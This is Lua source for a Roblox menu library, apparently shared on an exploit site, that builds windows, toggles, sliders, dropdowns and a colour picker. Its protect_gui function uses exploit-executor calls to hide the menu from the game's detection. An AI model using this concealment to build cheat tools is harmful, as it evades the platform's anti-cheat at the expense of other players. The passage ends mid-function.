--script at gexploits --reported reach already local library = {} local windowCount = 0 local sizes = {} local listOffset = {} local windows = {} local pastSliders = {} local dropdowns = {} local dropdownSizes = {} local destroyed local colorPickers = {} if game.CoreGui:FindFirstChild('TurtleUiLib') then game.CoreGui:FindFirstChild('TurtleUiLib'):Destroy() destroyed = true end function Lerp(a, b, c) return a + ((b - a) * c) end local players = game:service('Players'); local player = players.LocalPlayer; local mouse = player:GetMouse(); local run = game:service('RunService'); local stepped = run.Stepped; function Dragify(obj) spawn(function() local minitial; local initial; local isdragging; obj.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then isdragging = true; minitial = input.Position; initial = obj.Position; local con; con = stepped:Connect(function() if isdragging then local delta = Vector3.new(mouse.X, mouse.Y, 0) - minitial; obj.Position = UDim2.new(initial.X.Scale, initial.X.Offset + delta.X, initial.Y.Scale, initial.Y.Offset + delta.Y); else con:Disconnect(); end; end); input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then isdragging = false; end; end); end; end); end) end -- Instances: local function protect_gui(obj) if destroyed then obj.Parent = game.CoreGui return end if syn and syn.protect_gui then syn.protect_gui(obj) obj.Parent = game.CoreGui elseif PROTOSMASHER_LOADED then obj.Parent = get_hidden_gui() else obj.Parent = game.CoreGui end end local TurtleUiLib = Instance.new("ScreenGui") TurtleUiLib.Name = "TurtleUiLib" protect_gui(TurtleUiLib) local xOffset = 20 local uis = game:GetService("UserInputService") local keybindConnection function library:Destroy() TurtleUiLib:Destroy() if keybindConnection then keybindConnection:Disconnect() end end function library:Hide() TurtleUiLib.Enabled = not TurtleUiLib.Enabled end function library:Keybind(key) if keybindConnection then keybindConnection:Disconnect() end keybindConnection = uis.InputBegan:Connect(function(input, gp) if not gp and input.KeyCode == Enum.KeyCode[key] then TurtleUiLib.Enabled = not TurtleUiLib.Enabled end end) end function library:Window(name) windowCount = windowCount + 1 local winCount = windowCount local zindex = winCount * 7 local UiWindow = Instance.new("Frame") UiWindow.Name = "UiWindow" UiWindow.Parent = TurtleUiLib UiWindow.BackgroundColor3 = Color3.fromRGB(0, 151, 230) UiWindow.BorderColor3 = Color3.fromRGB(0, 151, 230) UiWindow.Position = UDim2.new(0, xOffset, 0, 20) UiWindow.Size = UDim2.new(0, 207, 0, 33) UiWindow.ZIndex = 4 + zindex UiWindow.Active = true Dragify(UiWindow) xOffset = xOffset + 230 local Header = Instance.new("Frame") Header.Name = "Header" Header.Parent = UiWindow Header.BackgroundColor3 = Color3.fromRGB(0, 168, 255) Header.BorderColor3 = Color3.fromRGB(0, 168, 255) Header.Position = UDim2.new(0, 0, -0.0202544238, 0) Header.Size = UDim2.new(0, 207, 0, 26) Header.ZIndex = 5 + zindex local HeaderText = Instance.new("TextLabel") HeaderText.Name = "HeaderText" HeaderText.Parent = Header HeaderText.BackgroundColor3 = Color3.fromRGB(40, 40, 40) HeaderText.BackgroundTransparency = 1.000 HeaderText.Position = UDim2.new(0, 0, -0.0020698905, 0) HeaderText.Size = UDim2.new(0, 206, 0, 33) HeaderText.ZIndex = 6 + zindex HeaderText.Font = Enum.Font.SourceSans HeaderText.Text = name or "Window" HeaderText.TextColor3 = Color3.fromRGB(47, 54, 64) HeaderText.TextSize = 17.000 local Minimise = Instance.new("TextButton") local Window = Instance.new("Frame") Minimise.Name = "Minimise" Minimise.Parent = Header Minimise.BackgroundColor3 = Color3.fromRGB(0, 168, 255) Minimise.BorderColor3 = Color3.fromRGB(0, 168, 255) Minimise.Position = UDim2.new(0, 185, 0, 2) Minimise.Size = UDim2.new(0, 22, 0, 22) Minimise.ZIndex = 7 + zindex Minimise.Font = Enum.Font.SourceSansLight Minimise.Text = "_" Minimise.TextColor3 = Color3.fromRGB(0, 0, 0) Minimise.TextSize = 20.000 Minimise.MouseButton1Up:connect(function() Window.Visible = not Window.Visible if Window.Visible then Minimise.Text = "_" else Minimise.Text = "+" end end) Window.Name = "Window" Window.Parent = Header Window.BackgroundColor3 = Color3.fromRGB(47, 54, 64) Window.BorderColor3 = Color3.fromRGB(47, 54, 64) Window.Position = UDim2.new(0, 0, 0, 0) Window.Size = UDim2.new(0, 207, 0, 33) Window.ZIndex = 1 + zindex local functions = {} sizes[winCount] = 33 listOffset[winCount] = 10 function functions:Button(name, callback) local name = name or "Button" local callback = callback or function() end sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) local Button = Instance.new("TextButton") listOffset[winCount] = listOffset[winCount] + 32 Button.Name = "Button" Button.Parent = Window Button.BackgroundColor3 = Color3.fromRGB(53, 59, 72) Button.BorderColor3 = Color3.fromRGB(113, 128, 147) Button.Position = UDim2.new(0, 12, 0, listOffset[winCount]) Button.Size = UDim2.new(0, 182, 0, 26) Button.ZIndex = 2 + zindex Button.Selected = true Button.Font = Enum.Font.SourceSans Button.TextColor3 = Color3.fromRGB(245, 246, 250) Button.TextSize = 16.000 Button.TextStrokeTransparency = 123.000 Button.TextWrapped = true Button.Text = name Button.MouseButton1Down:Connect(callback) pastSliders[winCount] = false end function functions:Label(text, color) local color = color or Color3.fromRGB(220, 221, 225) sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + 32 local Label = Instance.new("TextLabel") Label.Name = "Label" Label.Parent = Window Label.BackgroundColor3 = Color3.fromRGB(220, 221, 225) Label.BackgroundTransparency = 1.000 Label.BorderColor3 = Color3.fromRGB(27, 42, 53) Label.Position = UDim2.new(0, 0, 0, listOffset[winCount]) Label.Size = UDim2.new(0, 206, 0, 29) Label.Font = Enum.Font.SourceSans Label.Text = text or "Label" Label.TextSize = 16.000 Label.ZIndex = 2 + zindex if type(color) == "boolean" and color then spawn(function() while wait() do local hue = tick() % 5 / 5 Label.TextColor3 = Color3.fromHSV(hue, 1, 1) end end) else Label.TextColor3 = color end pastSliders[winCount] = false return Label end function functions:Toggle(text, on, callback) local callback = callback or function() end sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + 32 local ToggleDescription = Instance.new("TextLabel") local ToggleButton = Instance.new("TextButton") local ToggleFiller = Instance.new("Frame") ToggleDescription.Name = "ToggleDescription" ToggleDescription.Parent = Window ToggleDescription.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ToggleDescription.BackgroundTransparency = 1.000 ToggleDescription.Position = UDim2.new(0, 14, 0, listOffset[winCount]) ToggleDescription.Size = UDim2.new(0, 131, 0, 26) ToggleDescription.Font = Enum.Font.SourceSans ToggleDescription.Text = text or "Toggle" ToggleDescription.TextColor3 = Color3.fromRGB(245, 246, 250) ToggleDescription.TextSize = 16.000 ToggleDescription.TextWrapped = true ToggleDescription.TextXAlignment = Enum.TextXAlignment.Left ToggleDescription.ZIndex = 2 + zindex ToggleButton.Name = "ToggleButton" ToggleButton.Parent = ToggleDescription ToggleButton.BackgroundColor3 = Color3.fromRGB(47, 54, 64) ToggleButton.BorderColor3 = Color3.fromRGB(113, 128, 147) ToggleButton.Position = UDim2.new(1.2061069, 0, 0.0769230798, 0) ToggleButton.Size = UDim2.new(0, 22, 0, 22) ToggleButton.Font = Enum.Font.SourceSans ToggleButton.Text = "" ToggleButton.TextColor3 = Color3.fromRGB(0, 0, 0) ToggleButton.TextSize = 14.000 ToggleButton.ZIndex = 2 + zindex ToggleButton.MouseButton1Up:Connect(function() ToggleFiller.Visible = not ToggleFiller.Visible callback(ToggleFiller.Visible) end) ToggleFiller.Name = "ToggleFiller" ToggleFiller.Parent = ToggleButton ToggleFiller.BackgroundColor3 = Color3.fromRGB(68, 189, 50) ToggleFiller.BorderColor3 = Color3.fromRGB(47, 54, 64) ToggleFiller.Position = UDim2.new(0, 5, 0, 5) ToggleFiller.Size = UDim2.new(0, 12, 0, 12) ToggleFiller.Visible = on ToggleFiller.ZIndex = 2 + zindex pastSliders[winCount] = false end function functions:Box(text, callback) local callback = callback or function() end sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + 32 local TextBox = Instance.new("TextBox") local BoxDescription = Instance.new("TextLabel") TextBox.Parent = Window TextBox.BackgroundColor3 = Color3.fromRGB(53, 59, 72) TextBox.BorderColor3 = Color3.fromRGB(113, 128, 147) TextBox.Position = UDim2.new(0, 99, 0, listOffset[winCount]) TextBox.Size = UDim2.new(0, 95, 0, 26) TextBox.Font = Enum.Font.SourceSans TextBox.PlaceholderColor3 = Color3.fromRGB(220, 221, 225) TextBox.PlaceholderText = "..." TextBox.Text = "" TextBox.TextColor3 = Color3.fromRGB(245, 246, 250) TextBox.TextSize = 16.000 TextBox.TextStrokeColor3 = Color3.fromRGB(245, 246, 250) TextBox.ZIndex = 2 + zindex TextBox:GetPropertyChangedSignal('Text'):connect(function() callback(TextBox.Text, false) end) TextBox.FocusLost:Connect(function() callback(TextBox.Text, true) end) BoxDescription.Name = "BoxDescription" BoxDescription.Parent = TextBox BoxDescription.BackgroundColor3 = Color3.fromRGB(255, 255, 255) BoxDescription.BackgroundTransparency = 1.000 BoxDescription.Position = UDim2.new(-0.894736826, 0, 0, 0) BoxDescription.Size = UDim2.new(0, 75, 0, 26) BoxDescription.Font = Enum.Font.SourceSans BoxDescription.Text = text or "Box" BoxDescription.TextColor3 = Color3.fromRGB(245, 246, 250) BoxDescription.TextSize = 16.000 BoxDescription.TextXAlignment = Enum.TextXAlignment.Left BoxDescription.ZIndex = 2 + zindex pastSliders[winCount] = false end function functions:Slider(text, min, max, default, callback) local text = text or "Slider" local min = min or 1 local max = max or 100 local default = default or max/2 local callback = callback or function() end local offset = 70 if default > max then default = max elseif default < min then default = min end if pastSliders[winCount] then offset = 60 end sizes[winCount] = sizes[winCount] + offset Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + offset local Slider = Instance.new("Frame") local SliderButton = Instance.new("Frame") local Description = Instance.new("TextLabel") local SilderFiller = Instance.new("Frame") local Current = Instance.new("TextLabel") local Min = Instance.new("TextLabel") local Max = Instance.new("TextLabel") function SliderMovement(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then isdragging = true; minitial = input.Position.X; initial = SliderButton.Position.X.Offset; local delta1 = SliderButton.AbsolutePosition.X - initial local con; con = stepped:Connect(function() if isdragging then local xOffset = mouse.X - delta1 - 3 if xOffset > 175 then xOffset = 175 elseif xOffset< 0 then xOffset = 0 end SliderButton.Position = UDim2.new(0, xOffset , -1.33333337, 0); SilderFiller.Size = UDim2.new(0, xOffset, 0, 6) local value = Lerp(min, max, SliderButton.Position.X.Offset/(Slider.Size.X.Offset-5)) Current.Text = tostring(math.round(value)) else con:Disconnect(); end; end); input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then isdragging = false; end; end); end; end function SliderEnd(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then local value = Lerp(min, max, SliderButton.Position.X.Offset/(Slider.Size.X.Offset-5)) callback(math.round(value)) end end Slider.Name = "Slider" Slider.Parent = Window Slider.BackgroundColor3 = Color3.fromRGB(47, 54, 64) Slider.BorderColor3 = Color3.fromRGB(113, 128, 147) Slider.Position = UDim2.new(0, 13, 0, listOffset[winCount]) Slider.Size = UDim2.new(0, 180, 0, 6) Slider.ZIndex = 2 + zindex Slider.InputBegan:Connect(SliderMovement) Slider.InputEnded:Connect(SliderEnd) SliderButton.Position = UDim2.new(0, (Slider.Size.X.Offset - 5) * ((default - min)/(max-min)), -1.333337, 0) SliderButton.Name = "SliderButton" SliderButton.Parent = Slider SliderButton.BackgroundColor3 = Color3.fromRGB(53, 59, 72) SliderButton.BorderColor3 = Color3.fromRGB(113, 128, 147) SliderButton.Size = UDim2.new(0, 6, 0, 22) SliderButton.ZIndex = 3 + zindex SliderButton.InputBegan:Connect(SliderMovement) SliderButton.InputEnded:Connect(SliderEnd) Current.Name = "Current" Current.Parent = SliderButton Current.BackgroundTransparency = 1.000 Current.Position = UDim2.new(0, 3, 0, 22 ) Current.Size = UDim2.new(0, 0, 0, 18) Current.Font = Enum.Font.SourceSans Current.Text = tostring(default) Current.TextColor3 = Color3.fromRGB(220, 221, 225) Current.TextSize = 14.000 Current.ZIndex = 2 + zindex Description.Name = "Description" Description.Parent = Slider Description.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Description.BackgroundTransparency = 1.000 Description.Position = UDim2.new(0, -10, 0, -35) Description.Size = UDim2.new(0, 200, 0, 21) Description.Font = Enum.Font.SourceSans Description.Text = text Description.TextColor3 = Color3.fromRGB(245, 246, 250) Description.TextSize = 16.000 Description.ZIndex = 2 + zindex SilderFiller.Name = "SilderFiller" SilderFiller.Parent = Slider SilderFiller.BackgroundColor3 = Color3.fromRGB(76, 209, 55) SilderFiller.BorderColor3 = Color3.fromRGB(47, 54, 64) SilderFiller.Size = UDim2.new(0, (Slider.Size.X.Offset - 5) * ((default - min)/(max-min)), 0, 6) SilderFiller.ZIndex = 2 + zindex SilderFiller.BorderMode = Enum.BorderMode.Inset Min.Name = "Min" Min.Parent = Slider Min.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Min.BackgroundTransparency = 1.000 Min.Position = UDim2.new(-0.00555555569, 0, -7.33333397, 0) Min.Size = UDim2.new(0, 77, 0, 50) Min.Font = Enum.Font.SourceSans Min.Text = tostring(min) Min.TextColor3 = Color3.fromRGB(220, 221, 225) Min.TextSize = 14.000 Min.TextXAlignment = Enum.TextXAlignment.Left Min.ZIndex = 2 + zindex Max.Name = "Max" Max.Parent = Slider Max.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Max.BackgroundTransparency = 1.000 Max.Position = UDim2.new(0.577777743, 0, -7.33333397, 0) Max.Size = UDim2.new(0, 77, 0, 50) Max.Font = Enum.Font.SourceSans Max.Text = tostring(max) Max.TextColor3 = Color3.fromRGB(220, 221, 225) Max.TextSize = 14.000 Max.TextXAlignment = Enum.TextXAlignment.Right Max.ZIndex = 2 + zindex pastSliders[winCount] = true local slider = {} function slider:SetValue(value) value = math.clamp(value, min, max) local xOffset = (value-min)/max * (Slider.Size.X.Offset) SliderButton.Position = UDim2.new(0, xOffset , -1.33333337, 0); SilderFiller.Size = UDim2.new(0, xOffset, 0, 6) Current.Text = tostring(math.round(value)) end return slider end function functions:Dropdown(text, buttons, callback, selective) local text = text or "Dropdown" local buttons = buttons or {} local callback = callback or function() end local Dropdown = Instance.new("TextButton") local DownSign = Instance.new("TextLabel") local DropdownFrame = Instance.new("ScrollingFrame") sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + 32 Dropdown.Name = "Dropdown" Dropdown.Parent = Window Dropdown.BackgroundColor3 = Color3.fromRGB(53, 59, 72) Dropdown.BorderColor3 = Color3.fromRGB(113, 128, 147) Dropdown.Position = UDim2.new(0, 12, 0, listOffset[winCount]) Dropdown.Size = UDim2.new(0, 182, 0, 26) Dropdown.Selected = true Dropdown.Font = Enum.Font.SourceSans Dropdown.Text = tostring(text) Dropdown.TextColor3 = Color3.fromRGB(245, 246, 250) Dropdown.TextSize = 16.000 Dropdown.TextStrokeTransparency = 123.000 Dropdown.TextWrapped = true Dropdown.ZIndex = 3 + zindex Dropdown.MouseButton1Up:Connect(function() for i, v in pairs(dropdowns) do if v ~= DropdownFrame then v.Visible = false DownSign.Rotation = 0 end end if DropdownFrame.Visible then DownSign.Rotation = 0 else DownSign.Rotation = 180 end DropdownFrame.Visible = not DropdownFrame.Visible end) DownSign.Name = "DownSign" DownSign.Parent = Dropdown DownSign.BackgroundColor3 = Color3.fromRGB(255, 255, 255) DownSign.BackgroundTransparency = 1.000 DownSign.Position = UDim2.new(0, 155, 0, 2) DownSign.Size = UDim2.new(0, 27, 0, 22) DownSign.Font = Enum.Font.SourceSans DownSign.Text = "^" DownSign.TextColor3 = Color3.fromRGB(220, 221, 225) DownSign.TextSize = 20.000 DownSign.ZIndex = 4 + zindex DownSign.TextYAlignment = Enum.TextYAlignment.Bottom DropdownFrame.Name = "DropdownFrame" DropdownFrame.Parent = Dropdown DropdownFrame.Active = true DropdownFrame.BackgroundColor3 = Color3.fromRGB(53, 59, 72) DropdownFrame.BorderColor3 = Color3.fromRGB(53, 59, 72) DropdownFrame.Position = UDim2.new(0, 0, 0, 28) DropdownFrame.Size = UDim2.new(0, 182, 0, 0) DropdownFrame.Visible = false DropdownFrame.CanvasSize = UDim2.new(0, 0, 0, 0) DropdownFrame.ScrollBarThickness = 4 DropdownFrame.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Left DropdownFrame.ZIndex = 5 + zindex DropdownFrame.ScrollingDirection = Enum.ScrollingDirection.Y DropdownFrame.ScrollBarImageColor3 = Color3.fromRGB(220, 221, 225) table.insert(dropdowns, DropdownFrame) local dropFunctions = {} local canvasSize = 0 function dropFunctions:Button(name) local name = name or "" local Button_2 = Instance.new("TextButton") Button_2.Name = "Button" Button_2.Parent = DropdownFrame Button_2.BackgroundColor3 = Color3.fromRGB(53, 59, 72) Button_2.BorderColor3 = Color3.fromRGB(113, 128, 147) Button_2.Position = UDim2.new(0, 6, 0, canvasSize + 1) Button_2.Size = UDim2.new(0, 170, 0, 26) Button_2.Selected = true Button_2.Font = Enum.Font.SourceSans Button_2.TextColor3 = Color3.fromRGB(245, 246, 250) Button_2.TextSize = 16.000 Button_2.TextStrokeTransparency = 123.000 Button_2.ZIndex = 6 + zindex Button_2.Text = name Button_2.TextWrapped = true canvasSize = canvasSize + 27 DropdownFrame.CanvasSize = UDim2.new(0, 182, 0, canvasSize + 1) if #DropdownFrame:GetChildren() < 8 then DropdownFrame.Size = UDim2.new(0, 182, 0, DropdownFrame.Size.Y.Offset + 27) end Button_2.MouseButton1Up:Connect(function() callback(name) DropdownFrame.Visible = false if selective then Dropdown.Text = name end end) end function dropFunctions:Remove(name) local foundIt for i, v in pairs(DropdownFrame:GetChildren()) do if foundIt then canvasSize = canvasSize - 27 v.Position = UDim2.new(0, 6, 0, v.Position.Y.Offset - 27) DropdownFrame.CanvasSize = UDim2.new(0, 182, 0, canvasSize + 1) end if v.Text == name then foundIt = true v:Destroy() if #DropdownFrame:GetChildren() < 8 then DropdownFrame.Size = UDim2.new(0, 182, 0, DropdownFrame.Size.Y.Offset - 27) end end end if not foundIt then warn("The button you tried to remove didn't exist!") end end for i,v in pairs(buttons) do dropFunctions:Button(v) end return dropFunctions end function functions:ColorPicker(name, default, callback) local callback = callback or function() end local ColorPicker = Instance.new("TextButton") local PickerCorner = Instance.new("UICorner") local PickerDescription = Instance.new("TextLabel") local ColorPickerFrame = Instance.new("Frame") local ToggleRGB = Instance.new("TextButton") local ToggleFiller_2 = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local ClosePicker = Instance.new("TextButton") local Canvas = Instance.new("Frame") local CanvasGradient = Instance.new("UIGradient") local Cursor = Instance.new("ImageLabel") local Color = Instance.new("Frame") local ColorGradient = Instance.new("UIGradient") local ColorSlider = Instance.new("Frame") local Title = Instance.new("TextLabel") local UICorner = Instance.new("UICorner") local ColorCorner = Instance.new("UICorner") local BlackOverlay = Instance.new("ImageLabel") sizes[winCount] = sizes[winCount] + 32 Window.Size = UDim2.new(0, 207, 0, sizes[winCount] + 10) listOffset[winCount] = listOffset[winCount] + 32 ColorPicker.Name = "ColorPicker" ColorPicker.Parent = Window ColorPicker.Position = UDim2.new(0, 137, 0, listOffset[winCount]) ColorPicker.Size = UDim2.new(0, 57, 0, 26) ColorPicker.Font = Enum.Font.SourceSans ColorPicker.Text = "" ColorPicker.TextColor3 = Color3.fromRGB(0, 0, 0) ColorPicker.TextSize = 14.000 ColorPicker.ZIndex = 2 + zindex ColorPicker.MouseButton1Up:Connect(function() for i, v in pairs(colorPickers) do v.Visible = false end ColorPickerFrame.Visible = not ColorPickerFrame.Visible end) PickerCorner.Parent = ColorPicker PickerCorner.Name = "PickerCorner" PickerCorner.CornerRadius = UDim.new(0,2) PickerDescription.Name = "PickerDescription" PickerDescription.Parent = ColorPicker PickerDescription.BackgroundColor3 = Color3.fromRGB(255, 255, 255) PickerDescription.BackgroundTransparency = 1.000 PickerDescription.Position = UDim2.new(-2.15789509, 0, 0, 0) PickerDescription.Size = UDim2.new(0, 116, 0, 26) PickerDescription.Font = Enum.Font.SourceSans PickerDescription.Text = name or "Color picker" PickerDescription.TextColor3 = Color3.fromRGB(245, 246, 250) PickerDescription.TextSize = 16.000 PickerDescription.TextXAlignment = Enum.TextXAlignment.Left PickerDescription.ZIndex = 2 + zindex ColorPickerFrame.Name = "ColorPickerFrame" ColorPickerFrame.Parent = ColorPicker ColorPickerFrame.BackgroundColor3 = Color3.fromRGB(47, 54, 64) ColorPickerFrame.BorderColor3 = Color3.fromRGB(47, 54, 64) ColorPickerFrame.Position = UDim2.new(1.40350854, 0, -2.84615374, 0) ColorPickerFrame.Size = UDim2.new(0, 158, 0, 155) ColorPickerFrame.ZIndex = 3 + zindex ColorPickerFrame.Visible = false ToggleRGB.Name = "ToggleRGB" ToggleRGB.Parent = ColorPickerFrame ToggleRGB.BackgroundColor3 = Color3.fromRGB(47, 54, 64) ToggleRGB.BorderColor3 = Color3.fromRGB(113, 128, 147) ToggleRGB.Position = UDim2.new(0, 125, 0, 127) ToggleRGB.Size = UDim2.new(0, 22, 0, 22) ToggleRGB.Font = Enum.Font.SourceSans ToggleRGB.Text = "" ToggleRGB.TextColor3 = Color3.fromRGB(0, 0, 0) ToggleRGB.TextSize = 14.000 ToggleRGB.ZIndex = 4 + zindex ToggleFiller_2.Name = "ToggleFiller" ToggleFiller_2.Parent = ToggleRGB ToggleFiller_2.BackgroundColor3 = Color3.fromRGB(76, 209, 55) ToggleFiller_2.BorderColor3 = Color3.fromRGB(47, 54, 64) ToggleFiller_2.Position = UDim2.new(0, 5, 0, 5) ToggleFiller_2.Size = UDim2.new(0, 12, 0, 12) ToggleFiller_2.ZIndex = 4 + zindex ToggleFiller_2.Visible = false TextLabel.Parent = ToggleRGB TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BackgroundTransparency = 1.000 TextLabel.Position = UDim2.new(-5.13636351, 0, 0, 0) TextLabel.Size = UDim2.new(0, 106, 0, 22) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = "Rainbow" TextLabel.TextColor3 = Color3.fromRGB(245, 246, 250) TextLabel.TextSize = 16.000 TextLabel.TextXAlignment = Enum.TextXAlignment.Left TextLabel.ZIndex = 4 + zindex ClosePicker.Name = "ClosePicker" ClosePicker.Parent = ColorPickerFrame ClosePicker.BackgroundColor3 = Color3.fromRGB(47, 54, 64) ClosePicker.BorderColor3 = Color3.fromRGB(47, 54, 64) ClosePicker.Position = UDim2.new(0, 132, 0, 5) ClosePicker.Size = UDim2.new(0, 21, 0, 21) ClosePicker.Font = Enum.Font.SourceSans ClosePicker.Text = "X" ClosePicker.TextColor3 = Color3.fromRGB(245, 246, 250) ClosePicker.TextSize = 18.000 ClosePicker.ZIndex = 4 + zindex ClosePicker.MouseButton1Down:Connect(function() ColorPickerFrame.Visible = not ColorPickerFrame.Visible end) CanvasGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 0, 0)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))} CanvasGradient.Name = "CanvasGradient" CanvasGradient.Parent = Canvas BlackOverlay.Name = "BlackOverlay" BlackOverlay.Parent = Canvas BlackOverlay.BackgroundColor3 = Color3.fromRGB(255, 255, 255) BlackOverlay.BackgroundTransparency = 1.000 BlackOverlay.Size = UDim2.new(1, 0, 1, 0) BlackOverlay.Image = "rbxassetid://5107152095" BlackOverlay.ZIndex = 5 + zindex UICorner.Parent = Canvas UICorner.Name = "UICorner" UICorner.CornerRadius = UDim.new(0,2) Cursor.Name = "Cursor" Cursor.Parent = Canvas Cursor.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Cursor.BackgroundTransparency = 1.000 Cursor.Size = UDim2.new(0, 8, 0, 8) Cursor.Image = "rbxassetid://5100115962" Cursor.ZIndex = 5 + zindex local draggingColor = false local hue = 0 local sat = 1 local brightness = 1 local con ToggleRGB.MouseButton1Down:Connect(function() ToggleFiller_2.Visible = not ToggleFiller_2.Visible if ToggleFiller_2.Visible then con = stepped:Connect(function() if ToggleFiller_2.Visible then local hue2 = tick() % 5 / 5 color3 = Color3.fromHSV(hue2, 1, 1) callback(color3, true) ColorPicker.BackgroundColor3 = color3 else con:Disconnect() end end) end end) if default and type(default) == "boolean" then ToggleFiller_2.Visible = true if ToggleFiller_2.Visible then con = stepped:Connect(function() if ToggleFiller_2.Visible then local hue2 = tick() % 5 / 5 color3 = Color3.fromHSV(hue2, 1, 1) callback(color3) ColorPicker.BackgroundColor3 = color3 else con:Disconnect() end end) end else ColorPicker.BackgroundColor3 = default or Color3.fromRGB(0, 168, 255) end Canvas.Name = "Canvas" Canvas.Parent = ColorPickerFrame Canvas.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Canvas.Position = UDim2.new(0, 5, 0, 34) Canvas.Size = UDim2.new(0, 148, 0, 64) Canvas.ZIndex = 4 + zindex local canvasSize, canvasPosition = Canvas.AbsoluteSize, Canvas.AbsolutePosition Canvas.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then local initial = Vector2.new(Cursor.Position.X.Offset, Cursor.Position.Y.Offset) local delta = Cursor.AbsolutePosition - initial local con; local isdragging = true con = stepped:Connect(function() if isdragging then local delta2 = Vector2.new(mouse.X, mouse.Y) - delta local x = math.clamp(delta2.X, 2, Canvas.Size.X.Offset - 2) local y = math.clamp(delta2.Y, 2, Canvas.Size.Y.Offset - 2) sat = 1 - math.clamp((mouse.X - canvasPosition.X) / canvasSize.X, 0, 1) brightness = 1 - math.clamp((mouse.Y - canvasPosition.Y) / canvasSize.Y, 0, 1) color3 = Color3.fromHSV(hue, sat, brightness) Cursor.Position = UDim2.fromOffset(x - 4, y - 4) ColorPicker.BackgroundColor3 = color3 callback(color3) else con:Disconnect(); end; end); input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then isdragging = false; end; end); end; end); Color.Name = "Color" Color.Parent = ColorPickerFrame Color.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Color.Position = UDim2.new(0, 5, 0, 105) Color.Size = UDim2.new(0, 148, 0, 14) Color.BorderMode = Enum.BorderMode.Inset Color.ZIndex = 4 + zindex Color.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then draggingColor = true local initial2 = ColorSlider.Position.X.Offset; local delta1 = ColorSlider.AbsolutePosition.X - initial2 local con con = stepped:Connect(function() if draggingColor then -- gets the position of the mouse on the color thing and divides it by its size, whcih will give u the hue local colorPosition, colorSize = Color.AbsolutePosition, Color.AbsoluteSize hue = 1 - math.clamp(1 - ((mouse.X - colorPosition.X) / colorSize.X), 0, 1) CanvasGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromHSV(hue, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 255, 255))} local xOffset = math.clamp(mouse.X - delta1, 0, Color.Size.X.Offset - 3) ColorSlider.Position = UDim2.new(0, xOffset, 0, 0); color3 = Color3.fromHSV(hue, sat, brightness) ColorPicker.BackgroundColor3 = color3 callback(color3) else con:Disconnect() end end) end end) Color.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then draggingColor = false end end) ColorGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 0, 0)), ColorSequenceKeypoint.new(0.17, Color3.fromRGB(255, 255, 0)), ColorSequenceKeypoint.new(0.33, Color3.fromRGB(0, 255, 0)), ColorSequenceKeypoint.new(0.50, Color3.fromRGB(0, 255, 255)), ColorSequenceKeypoint.new(0.66, Color3.fromRGB(0, 0, 255)), ColorSequenceKeypoint.new(0.82, Color3.fromRGB(255, 0, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(255, 0, 0)) }) ColorGradient.Name = "ColorGradient" ColorGradient.Parent = Color ColorCorner.Parent = Color ColorCorner.Name = "ColorCorner" ColorCorner.CornerRadius = UDim.new(0,2) ColorSlider.Name = "ColorSlider" ColorSlider.Parent = Color ColorSlider.BackgroundColor3 = Color3.fromRGB(245, 246, 250) ColorSlider.BorderColor3 = Color3.fromRGB(245, 246, 250) ColorSlider.Size = UDim2.new(0, 2, 0, 14) ColorSlider.ZIndex = 5 + zindex Title.Name = "Title" Title.Parent = ColorPickerFrame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.Position = UDim2.new(0, 10, 0, 5) Title.Size = UDim2.new(0, 118, 0, 21) Title.Font = Enum.Font.SourceSans Title.Text = name or "Color picker" Title.TextColor3 = Color3.fromRGB(245, 246, 250) Title.TextSize = 16.000 Title.TextXAlignment = Enum.TextXAlignment.Left Title.ZIndex = 4 + zindex table.insert(colorPickers, ColorPickerFrame) local colorFuncs = {} function colorFuncs:UpdateColorPicker(color) if type(color) == "userdata" then ToggleFiller_2.Visible = false ColorPicker.BackgroundColor3 = color elseif color and type(color) == "boolean" and not con then ToggleFiller_2.Visible = true con = stepped:Connect(function() if ToggleFiller_2.Visible then local hue2 = tick() % 5 / 5 color3 = 